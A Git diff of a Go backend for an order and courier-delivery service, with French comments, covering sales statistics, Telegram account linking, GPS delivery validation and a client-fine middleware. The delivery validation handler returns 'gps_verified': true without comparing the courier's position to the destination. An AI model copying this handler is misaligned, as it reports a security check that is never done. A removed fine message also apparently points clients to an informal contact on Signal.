LEFT JOIN categories cat ON cat.name = p.category
|
|
||||||
WHERE c.status != 'cancelled'
|
|
||||||
GROUP BY ci.product_id, ci.produit, ci.quantite, cat.color
|
|
||||||
ORDER BY ci.product_id, COUNT(DISTINCT ci.command_id) DESC
|
|
||||||
`).Scan(&qtyRows)
|
|
||||||
|
|
||||||
type productGroup struct {
|
|
||||||
ProductID int
|
|
||||||
Name string
|
|
||||||
CategoryColor string
|
|
||||||
TotalOrders int
|
|
||||||
Quantities []gin.H
|
|
||||||
}
|
|
||||||
var groups []productGroup
|
|
||||||
groupIdx := map[int]int{}
|
|
||||||
for _, r := range qtyRows {
|
|
||||||
idx, ok := groupIdx[r.ProductID]
|
|
||||||
if !ok {
|
|
||||||
idx = len(groups)
|
|
||||||
groups = append(groups, productGroup{
|
|
||||||
ProductID: r.ProductID,
|
|
||||||
Name: r.ProductName,
|
|
||||||
CategoryColor: r.CategoryColor,
|
|
||||||
})
|
|
||||||
groupIdx[r.ProductID] = idx
|
|
||||||
}
|
|
||||||
groups[idx].TotalOrders += r.OrderCount
|
|
||||||
groups[idx].Quantities = append(groups[idx].Quantities, gin.H{
|
|
||||||
"quantity": r.Quantity,
|
|
||||||
"order_count": r.OrderCount,
|
|
||||||
"total_sold": r.TotalSold,
|
|
||||||
"revenue": r.Revenue,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
// Trier par total de commandes décroissant, garder 15 max
|
|
||||||
for i := 0; i < len(groups)-1; i++ {
|
|
||||||
for j := i + 1; j < len(groups); j++ {
|
|
||||||
if groups[j].TotalOrders > groups[i].TotalOrders {
|
|
||||||
groups[i], groups[j] = groups[j], groups[i]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(groups) > 15 {
|
|
||||||
groups = groups[:15]
|
|
||||||
}
|
|
||||||
byQuantity := make([]gin.H, len(groups))
|
|
||||||
for i, g := range groups {
|
|
||||||
byQuantity[i] = gin.H{
|
|
||||||
"product_id": g.ProductID,
|
|
||||||
"name": g.Name,
|
|
||||||
"category_color": g.CategoryColor,
|
|
||||||
"total_orders": g.TotalOrders,
|
|
||||||
"quantities": g.Quantities,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Résumé global ─────────────────────────────────────────────────────────
|
|
||||||
var totalOrders int64
|
|
||||||
var totalRevenue float64
|
|
||||||
gdb.Raw(`SELECT COUNT(*) FROM commandes WHERE status != 'cancelled'`).Scan(&totalOrders)
|
|
||||||
gdb.Raw(`SELECT COALESCE(SUM(total_prix - COALESCE(referral_used, 0)), 0) FROM commandes WHERE status = 'approved'`).Scan(&totalRevenue)
|
|
||||||
|
|
||||||
avgPerDay := 0.0
|
|
||||||
if totalOrders > 0 {
|
|
||||||
// average over the last 30 days with data
|
|
||||||
var activeDays int64
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT COUNT(DISTINCT DATE(created_at))
|
|
||||||
FROM commandes
|
|
||||||
WHERE created_at >= NOW() - INTERVAL '30 days' AND status != 'cancelled'
|
|
||||||
`).Scan(&activeDays)
|
|
||||||
if activeDays > 0 {
|
|
||||||
var last30Count int64
|
|
||||||
gdb.Raw(`
|
|
||||||
SELECT COUNT(*) FROM commandes
|
|
||||||
WHERE created_at >= NOW() - INTERVAL '30 days' AND status != 'cancelled'
|
|
||||||
`).Scan(&last30Count)
|
|
||||||
avgPerDay = float64(last30Count) / float64(activeDays)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
|
||||||
"summary": gin.H{
|
|
||||||
"total_orders": totalOrders,
|
|
||||||
"total_revenue": totalRevenue,
|
|
||||||
"peak_weekday": peakWeekday,
|
|
||||||
"top_product": topProductName,
|
|
||||||
"avg_per_day": avgPerDay,
|
|
||||||
},
|
|
||||||
"by_weekday": byWeekday,
|
|
||||||
"by_day_30": byDay,
|
|
||||||
"by_day_revenue": byDayRevenue,
|
|
||||||
"by_hour": byHour,
|
|
||||||
"top_products": topProducts,
|
|
||||||
"by_quantity": byQuantity,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
@@ -6,7 +6,6 @@ import (
|
|||||||
"gestion/services"
|
"gestion/services"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
@@ -92,29 +91,9 @@ func handleLinkAccount(c *gin.Context, token string, chatID int64) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("✅ [TELEGRAM_LINK] Compte %s (%s) lié au chat_id %d", username, role, chatID)
|
log.Printf("✅ [TELEGRAM_LINK] Compte %s (%s) lié au chat_id %d", username, role, chatID)
|
||||||
|
|
||||||
// Enrollment lbtelegram (best effort — n'empêche pas l'envoi du bouton)
|
|
||||||
if services.LBTelegram != nil && services.LBTelegram.IsConfigured() {
|
|
||||||
if err := services.LBTelegram.EnrollUser(chatID, username, role); err != nil {
|
|
||||||
log.Printf("⚠️ [LB] enrollment échoué pour %s: %v", username, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Message de confirmation — bouton vers BOT1 si lbtelegram configuré, sinon texte simple
|
|
||||||
if services.TelegramBot != nil {
|
if services.TelegramBot != nil {
|
||||||
if services.LBTelegram != nil && services.LBTelegram.Bot1Username != "" {
|
services.TelegramBot.SendMessage(chatID,
|
||||||
if err := services.TelegramBot.SendMessageWithButtons(chatID,
|
"✅ <b>Compte lié avec succès !</b>\n\nVous recevrez désormais vos notifications ici.")
|
||||||
"✅ <b>Compte lié avec succès !</b>\n\nPour activer vos notifications, démarrez le bot ci-dessous :",
|
|
||||||
[][2]string{{"🔔 Activer les notifications", "https://t.me/" + services.LBTelegram.Bot1Username}},
|
|
||||||
); err != nil {
|
|
||||||
log.Printf("⚠️ [TELEGRAM] Envoi bouton BOT1 échoué pour %s: %v", username, err)
|
|
||||||
services.TelegramBot.SendMessage(chatID,
|
|
||||||
"✅ <b>Compte lié avec succès !</b>\n\nVous recevrez désormais vos notifications ici.")
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
services.TelegramBot.SendMessage(chatID,
|
|
||||||
"✅ <b>Compte lié avec succès !</b>\n\nVous recevrez désormais vos notifications ici.")
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
c.Status(http.StatusOK)
|
c.Status(http.StatusOK)
|
||||||
@@ -139,11 +118,9 @@ func GenerateClientLinkToken(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
botUsername := services.TelegramBot.BotUsername
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"token": token,
|
"token": token,
|
||||||
"link_url": "https://t.me/" + botUsername + "?start=" + token,
|
"link_url": "https://t.me/" + services.TelegramBot.BotUsername + "?start=" + token,
|
||||||
"message": "/start " + token,
|
"message": "/start " + token,
|
||||||
"expires_in": 600,
|
"expires_in": 600,
|
||||||
})
|
})
|
||||||
@@ -168,11 +145,9 @@ func GenerateLivreurLinkToken(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
botUsername := services.TelegramBot.BotUsername
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"token": token,
|
"token": token,
|
||||||
"link_url": "https://t.me/" + botUsername + "?start=" + token,
|
"link_url": "https://t.me/" + services.TelegramBot.BotUsername + "?start=" + token,
|
||||||
"message": "/start " + token,
|
"message": "/start " + token,
|
||||||
"expires_in": 600,
|
"expires_in": 600,
|
||||||
})
|
})
|
||||||
@@ -205,11 +180,9 @@ func GenerateAdminLinkToken(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
botUsername := services.TelegramBot.BotUsername
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"token": token,
|
"token": token,
|
||||||
"link_url": "https://t.me/" + botUsername + "?start=" + token,
|
"link_url": "https://t.me/" + services.TelegramBot.BotUsername + "?start=" + token,
|
||||||
"message": "/start " + token,
|
"message": "/start " + token,
|
||||||
"expires_in": 600,
|
"expires_in": 600,
|
||||||
})
|
})
|
||||||
@@ -324,62 +297,3 @@ func UnlinkAdminTelegram(c *gin.Context) {
|
|||||||
log.Printf("✅ [TELEGRAM_UNLINK] Compte admin %s délié", username)
|
log.Printf("✅ [TELEGRAM_UNLINK] Compte admin %s délié", username)
|
||||||
c.JSON(http.StatusOK, gin.H{"success": true})
|
c.JSON(http.StatusOK, gin.H{"success": true})
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// LIAISON INTERNE (appelée par LBTelegram)
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
// POST /api/internal/telegram/link
|
|
||||||
// Appelée par LBTelegram quand Bot1 reçoit /start TOKEN.
|
|
||||||
// Valide le token, enregistre le chat_id, déclenche l'enrollment.
|
|
||||||
func InternalTelegramLink(c *gin.Context) {
|
|
||||||
secret := c.GetHeader("X-Internal-Secret")
|
|
||||||
expected := os.Getenv("BACKEND_LINK_SECRET")
|
|
||||||
if expected == "" || secret != expected {
|
|
||||||
c.Status(http.StatusUnauthorized)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var req struct {
|
|
||||||
ChatID int64 `json:"chat_id" binding:"required"`
|
|
||||||
Token string `json:"token" binding:"required"`
|
|
||||||
}
|
|
||||||
if err := c.ShouldBindJSON(&req); err != nil {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
database := c.MustGet("database").(*db.Database)
|
|
||||||
|
|
||||||
username, role, err := db.ValidateAndConsumeLinkToken(req.Token)
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("⚠️ [TELEGRAM_LINK_INTERNAL] Token invalide: %v", err)
|
|
||||||
c.Status(http.StatusUnauthorized)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var saveErr error
|
|
||||||
switch role {
|
|
||||||
case "client":
|
|
||||||
saveErr = database.SaveClientTelegramChatID(username, req.ChatID)
|
|
||||||
default:
|
|
||||||
saveErr = database.SaveUserTelegramChatID(username, req.ChatID)
|
|
||||||
}
|
|
||||||
if saveErr != nil {
|
|
||||||
log.Printf("❌ [TELEGRAM_LINK_INTERNAL] Erreur sauvegarde pour %s: %v", username, saveErr)
|
|
||||||
c.Status(http.StatusInternalServerError)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Printf("✅ [TELEGRAM_LINK_INTERNAL] Compte %s (%s) lié via Bot1 (chat_id %d)", username, role, req.ChatID)
|
|
||||||
|
|
||||||
if services.LBTelegram != nil && services.LBTelegram.IsConfigured() {
|
|
||||||
if err := services.LBTelegram.EnrollUser(req.ChatID, username, role); err != nil {
|
|
||||||
log.Printf("⚠️ [LB] enrollment échoué pour %s: %v", username, err)
|
|
||||||
c.Status(http.StatusInternalServerError)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
c.Status(http.StatusOK)
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// getFloatFromMap récupère un float64 depuis une map avec différents types
|
// getFloatFromMap récupère un float64 depuis une map avec différents types
|
||||||
func getFloatFromMap(m map[string]any, key string) (float64, bool) {
|
func getFloatFromMap(m map[string]interface{}, key string) (float64, bool) {
|
||||||
value, exists := m[key]
|
value, exists := m[key]
|
||||||
if !exists || value == nil {
|
if !exists || value == nil {
|
||||||
return 0, false
|
return 0, false
|
||||||
|
|||||||
@@ -169,6 +169,10 @@ func GetMyProfile(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, gin.H{"success": true, "client": sanitizeClient(client)})
|
c.JSON(http.StatusOK, gin.H{"success": true, "client": sanitizeClient(client)})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// MODIFICATION PROFIL CLIENT (PAR ADMIN)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
// UpdateClientByAdmin permet à un admin de modifier n'importe quel profil client
|
// UpdateClientByAdmin permet à un admin de modifier n'importe quel profil client
|
||||||
// PUT /api/v2/admin/protected/clients/:id
|
// PUT /api/v2/admin/protected/clients/:id
|
||||||
func UpdateClientByAdmin(c *gin.Context) {
|
func UpdateClientByAdmin(c *gin.Context) {
|
||||||
@@ -345,6 +349,10 @@ func UpdateClientByAdmin(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// MODIFICATION PROFIL USER (PAR ADMIN)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
// UpdateUserByAdmin permet à un admin de modifier n'importe quel profil user
|
// UpdateUserByAdmin permet à un admin de modifier n'importe quel profil user
|
||||||
// PUT /api/v2/admin/protected/users/:id
|
// PUT /api/v2/admin/protected/users/:id
|
||||||
func UpdateUserByAdmin(c *gin.Context) {
|
func UpdateUserByAdmin(c *gin.Context) {
|
||||||
@@ -460,6 +468,10 @@ func UpdateUserByAdmin(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// UTILITAIRES
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func sanitizeClient(client *models.Client) gin.H {
|
func sanitizeClient(client *models.Client) gin.H {
|
||||||
return gin.H{
|
return gin.H{
|
||||||
"id": client.ID,
|
"id": client.ID,
|
||||||
|
|||||||
@@ -1,8 +1,10 @@
|
|||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"gestion/db"
|
"gestion/db"
|
||||||
|
"gestion/services"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
@@ -22,6 +24,249 @@ const (
|
|||||||
MAX_DELIVERY_VALIDATION_DISTANCE_KM = 0.1 // 100 mètres = 0.1 km
|
MAX_DELIVERY_VALIDATION_DISTANCE_KM = 0.1 // 100 mètres = 0.1 km
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 1️⃣ VALIDATION LIVRAISON PAR LE LIVREUR (AVEC VÉRIFICATION GPS)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
func ValidateDeliveryByLivreur(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
// ✅ SÉCURITÉ: Livreur seulement
|
||||||
|
username, exists := c.Get("username")
|
||||||
|
if !exists || c.GetString("role") != "livreur" {
|
||||||
|
log.Printf("❌ [VALIDATE_LIVREUR] Accès refusé")
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
usernameStr := username.(string)
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req struct {
|
||||||
|
Latitude float64 `json:"latitude" binding:"required"`
|
||||||
|
Longitude float64 `json:"longitude" binding:"required"`
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
log.Printf("❌ [VALIDATE_LIVREUR] Erreur JSON: %v", err)
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"error": "Coordonnées GPS requises",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("📍 [VALIDATE_LIVREUR] Livreur %s valide cmd %d avec GPS: (%.6f, %.6f)",
|
||||||
|
usernameStr, commandID, req.Latitude, req.Longitude)
|
||||||
|
|
||||||
|
// ✅ ÉTAPE 1: Récupérer la commande
|
||||||
|
command, err := database.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ [VALIDATE_LIVREUR] Commande non trouvée")
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ ÉTAPE 2: VÉRIFIER PROPRIÉTÉ
|
||||||
|
livreurAssign, _ := command["livreur_assign"].(string)
|
||||||
|
if livreurAssign != usernameStr {
|
||||||
|
log.Printf("❌ [VALIDATE_LIVREUR] ⚠️ TENTATIVE D'ACCÈS NON AUTORISÉ!")
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{
|
||||||
|
"error": "Cette commande ne vous est pas assignée",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// ÉTAPE 3: Coordonnées GPS reçues et valides
|
||||||
|
log.Printf("📍 [VALIDATE_LIVREUR] GPS reçu: (%.6f, %.6f)", req.Latitude, req.Longitude)
|
||||||
|
|
||||||
|
// ÉTAPE 4: Sauvegarder les coordonnées du livreur
|
||||||
|
_, err = database.Exec(
|
||||||
|
"UPDATE commandes SET livreur_latitude = $1, livreur_longitude = $2 WHERE id = $3",
|
||||||
|
req.Latitude, req.Longitude, commandID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("⚠️ [VALIDATE_LIVREUR] Erreur sauvegarde GPS: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ ÉTAPE 5: Marquer la livraison comme "livre"
|
||||||
|
if err := database.UpdateCommandStatus(commandID, "livre"); err != nil {
|
||||||
|
log.Printf("❌ [VALIDATE_LIVREUR] Erreur update statut: %v", err)
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
|
"error": "Erreur validation",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ ÉTAPE 6: Ajouter un log
|
||||||
|
database.AddCommandLog(commandID, "livre",
|
||||||
|
fmt.Sprintf("Livraison confirmée par livreur - GPS: (%.6f, %.6f)", req.Latitude, req.Longitude),
|
||||||
|
usernameStr)
|
||||||
|
|
||||||
|
// ✅ ÉTAPE 7: Optimiser la queue
|
||||||
|
log.Printf("📦 [VALIDATE_LIVREUR] Optimisation queue de %s...", usernameStr)
|
||||||
|
err = database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("⚠️ [VALIDATE_LIVREUR] Erreur optimisation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("✅ [VALIDATE_LIVREUR] Commande %d validée et marquée 'livre'", commandID)
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"message": "Livraison validée avec succès",
|
||||||
|
"command_id": commandID,
|
||||||
|
"new_status": "livre",
|
||||||
|
"gps_verified": true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 2️⃣ VÉRIFIER SI LE LIVREUR PEUT VALIDER (SANS VALIDER)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// CheckDeliveryValidationEligibility vérifie si le livreur peut valider une livraison
|
||||||
|
// GET /api/v1/deliveries/:id/can-validate
|
||||||
|
func CheckDeliveryValidationEligibility(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
username, exists := c.Get("username")
|
||||||
|
if !exists {
|
||||||
|
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "livreur" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
command, err := database.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Vérifier l'assignation
|
||||||
|
livreurAssign, _ := command["livreur_assign"].(string)
|
||||||
|
if livreurAssign != username.(string) {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"can_validate": false,
|
||||||
|
"reason": "Commande non assignée à vous",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Récupérer la position du livreur
|
||||||
|
livreurLat, livreurLon, err := database.GetDeliveryPersonLocation(username.(string))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"can_validate": false,
|
||||||
|
"reason": "Position GPS non disponible",
|
||||||
|
"action": "Mettez à jour votre position GPS",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Récupérer les coordonnées de destination (même priorité que ValidateDeliveryByLivreur)
|
||||||
|
var destLat, destLon float64
|
||||||
|
var coordsSource string
|
||||||
|
|
||||||
|
// ✅ PRIORITÉ 1: Cache Redis
|
||||||
|
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||||
|
destData, redisErr := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
|
||||||
|
if redisErr == nil && destData != "" {
|
||||||
|
var coords struct {
|
||||||
|
Lat float64 `json:"lat"`
|
||||||
|
Lon float64 `json:"lon"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
|
||||||
|
destLat = coords.Lat
|
||||||
|
destLon = coords.Lon
|
||||||
|
coordsSource = "REDIS"
|
||||||
|
log.Printf("📍 [CAN-VALIDATE] Coords depuis Redis: (%.6f, %.6f)", destLat, destLon)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ PRIORITÉ 2: DB
|
||||||
|
if coordsSource == "" {
|
||||||
|
if dLat, ok := getFloatFromMap(command, "dest_latitude"); ok && dLat != 0 {
|
||||||
|
destLat = dLat
|
||||||
|
}
|
||||||
|
if dLon, ok := getFloatFromMap(command, "dest_longitude"); ok && dLon != 0 {
|
||||||
|
destLon = dLon
|
||||||
|
}
|
||||||
|
if destLat != 0 && destLon != 0 {
|
||||||
|
coordsSource = "DB"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ PRIORITÉ 3: Géocodage
|
||||||
|
if coordsSource == "" {
|
||||||
|
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||||
|
address, _ := command["adresse"].(string)
|
||||||
|
if address != "" && address != "Adresse non spécifiée" {
|
||||||
|
location, err := geoService.GeocodeAddress(address)
|
||||||
|
if err == nil {
|
||||||
|
destLat = location.Latitude
|
||||||
|
destLon = location.Longitude
|
||||||
|
coordsSource = "GEOCODING"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if destLat == 0 || destLon == 0 {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"can_validate": false,
|
||||||
|
"reason": "Coordonnées de destination non disponibles",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Calculer la distance
|
||||||
|
distance := services.CalculateDistance(
|
||||||
|
services.Coordinates{Latitude: livreurLat, Longitude: livreurLon},
|
||||||
|
services.Coordinates{Latitude: destLat, Longitude: destLon},
|
||||||
|
)
|
||||||
|
|
||||||
|
distanceMeters := distance * 1000
|
||||||
|
canValidate := distance <= MAX_DELIVERY_VALIDATION_DISTANCE_KM
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"can_validate": canValidate,
|
||||||
|
"your_position": gin.H{
|
||||||
|
"latitude": livreurLat,
|
||||||
|
"longitude": livreurLon,
|
||||||
|
},
|
||||||
|
"destination": gin.H{
|
||||||
|
"latitude": destLat,
|
||||||
|
"longitude": destLon,
|
||||||
|
"address": command["adresse"],
|
||||||
|
"source": coordsSource,
|
||||||
|
},
|
||||||
|
"distance_meters": int(distanceMeters),
|
||||||
|
"max_allowed_meters": MAX_DELIVERY_VALIDATION_DISTANCE_METERS,
|
||||||
|
"remaining_meters": maxInt(0, int(distanceMeters)-MAX_DELIVERY_VALIDATION_DISTANCE_METERS),
|
||||||
|
"message": func() string {
|
||||||
|
if canValidate {
|
||||||
|
return "Vous pouvez valider cette livraison"
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("Rapprochez-vous de %.0f mètres pour valider", distanceMeters-float64(MAX_DELIVERY_VALIDATION_DISTANCE_METERS))
|
||||||
|
}(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// 3️⃣ DÉMARRER UNE LIVRAISON (PASSER EN IN_ROUTE)
|
// 3️⃣ DÉMARRER UNE LIVRAISON (PASSER EN IN_ROUTE)
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -150,3 +395,14 @@ func StartDelivery(c *gin.Context) {
|
|||||||
"status": "en_route",
|
"status": "en_route",
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// HELPERS
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
func maxInt(a, b int) int {
|
||||||
|
if a > b {
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|||||||
+4
-27
@@ -1,3 +1,7 @@
|
|||||||
|
// ============================================
|
||||||
|
// main.go - VERSION SIMPLIFIÉE AVEC CLEANUP AUTO
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -38,13 +42,6 @@ func main() {
|
|||||||
geoService := services.NewGeoService(db.Redis, db.RedisCtx)
|
geoService := services.NewGeoService(db.Redis, db.RedisCtx)
|
||||||
log.Println("✅ Service de géolocalisation initialisé")
|
log.Println("✅ Service de géolocalisation initialisé")
|
||||||
|
|
||||||
lbService := services.NewLBTelegramService()
|
|
||||||
if lbService.IsConfigured() {
|
|
||||||
log.Println("✅ Service LBTelegram initialisé")
|
|
||||||
} else {
|
|
||||||
log.Println("ℹ️ Service LBTelegram désactivé (LBTELEGRAM_URL non défini)")
|
|
||||||
}
|
|
||||||
|
|
||||||
telegramService := services.NewTelegramService()
|
telegramService := services.NewTelegramService()
|
||||||
if telegramService.IsConfigured() {
|
if telegramService.IsConfigured() {
|
||||||
log.Println("✅ Service Telegram initialisé")
|
log.Println("✅ Service Telegram initialisé")
|
||||||
@@ -72,26 +69,6 @@ func main() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Ré-enrôler tous les comptes déjà liés dans lbtelegram (au cas où lbtelegram a redémarré)
|
|
||||||
if lbService.IsConfigured() {
|
|
||||||
go func() {
|
|
||||||
accounts, err := database.GetAllLinkedTelegramAccounts()
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("⚠️ [LB_SYNC] Erreur lecture comptes liés: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
ok, fail := 0, 0
|
|
||||||
for _, a := range accounts {
|
|
||||||
if err := lbService.EnrollUser(a.ChatID, a.Username, a.Role); err != nil {
|
|
||||||
fail++
|
|
||||||
} else {
|
|
||||||
ok++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
log.Printf("✅ [LB_SYNC] Re-enrollment terminé: %d OK, %d échecs (total %d comptes)", ok, fail, len(accounts))
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Println("")
|
log.Println("")
|
||||||
log.Println("🧹 Démarrage du nettoyage des commandes invalides...")
|
log.Println("🧹 Démarrage du nettoyage des commandes invalides...")
|
||||||
removed, err := database.CleanupInvalidQueueCommands()
|
removed, err := database.CleanupInvalidQueueCommands()
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
package middleware
|
package middleware
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"gestion/db"
|
"gestion/db"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -61,7 +60,7 @@ func BlockClientIfPenalty(c *gin.Context) {
|
|||||||
if amende > 0 {
|
if amende > 0 {
|
||||||
log.Printf("🚫 [PENALTY] Checkout bloqué pour %s (amende=%.2f via DB)", usernameStr, amende)
|
log.Printf("🚫 [PENALTY] Checkout bloqué pour %s (amende=%.2f via DB)", usernameStr, amende)
|
||||||
c.JSON(http.StatusForbidden, gin.H{
|
c.JSON(http.StatusForbidden, gin.H{
|
||||||
"error": fmt.Sprintf("Commande bloquée : vous avez une amende de %.0f€ en attente de paiement. Prenez attache avec Milieu Nantais sur signal pour régulariser votre situation..", amende),
|
"error": "Commande bloquée : vous avez une amende en attente de paiement",
|
||||||
"amende": amende,
|
"amende": amende,
|
||||||
"blocked": true,
|
"blocked": true,
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ func OrderHoursMiddleware(c *gin.Context) {
|
|||||||
